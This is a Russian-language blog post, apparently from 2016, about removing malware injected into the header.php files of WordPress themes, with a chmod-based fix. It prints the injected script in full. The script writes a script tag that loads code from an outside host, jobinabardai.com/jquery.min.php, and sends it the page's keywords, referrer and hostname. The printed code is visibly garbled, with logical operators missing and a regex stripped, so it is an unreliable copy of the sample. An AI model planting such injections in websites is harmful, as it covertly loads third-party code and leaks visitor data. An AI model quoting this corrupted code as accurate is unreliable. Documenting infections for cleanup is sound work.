Wordpress malware, вирус, jquery.min.php и все что с этим связано

Информационная безопасность  /  JavaScript  /  PHP  /  Фриланс  /  Работа  




Как-то связался со мной очередной клиент, пожаловался мне что его забанил хостер за "malware".

Хостер как и полагается, оказался шаред, а самое прикольное что эти дебилы умудрились отключить пользователю SSH, мотивируя это "ограничением аккаунта". Это все равно что сказать "Уважаемый клиент, мы обнаружили у вас вирус, поэтому доступ к клавиатуре будет закрыт, пока вы не вылечитесь от вируса". Ну да ладно.

Анализируя контент клиента, я понял что он использует недоCMS под названием Wordpress. Тогда не удивительно и вполне себе предсказуемо.

Полазив еще немного по контенту, я нашел код этого malware:

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0document.referrer!==undefineddocument.referrer!==''document.referrer!==null){document.write('<script type="text/javascript" src="http://jobinabardai.com/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://jobinabardai.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

, Ничего как бы страшного он не делает, расшифровать и понять это под силу даже школьнику, однако хостеры иного мнения, и банят за наличие такой штуки. Дальнейший поверхностный анализ показал, что заражается исключительно файл "header.php" всех тем, доступных в папке /wp-content/themes. Не обошлось без минутки юмора:


Два одинаковых малваря в одном и том же файле. Определенно писал школьник, почему-то считающий что в скрипте может быть только один закрывающий тег </head> 


К счастью рецепт излечения прост: редактируем файл и просто удаляем из него эту строчку. Чтобы воспрепятствовать дальнейшему заражению (а оно будет, если вы не смените пароли/хостера/страну) - всего лишь поставьте права r-xr-xr-x (555) на файл header.php

Кто не помнит как это делается, напоминаю: chmod 555 header.php, а еще лучше chmod 555 `find -name 'header.php'` от корня - это поставит необходимые права доступа ВСЕМ файлам, найденным у вас в папке. Разумеется, если у вас Linux-хостинг, и вы имеете доступ к SSH, хотя бы ограниченно-клиентского уровня.


Судя по количеству подкаталогов у моего клиента, количеству Wordpress-копий, и количеству зараженных файлов - заражение велось либо через что-то очень забагованное внутри Wordpress (и это не тема, они были разными), либо рекурсивно через консоль и при участии/бездействии хостера.

Мораль сего рассказа такова: дешевый VPS стоит 5 баксов, и я считаю что это приемлемая цена за отсутствие такого геморроя, тем более что плюсов намного больше.


Удачного лечения.




Метки текста: jquery.min.php malware


http://minidevices.info/images/ava.png
http://minidevices.info/images/ava.png
2016-04-19 03:46
root 19 апреля в 03:46  7 

1260
2016-04-19 03:46


Комментировать



Опубликовать запись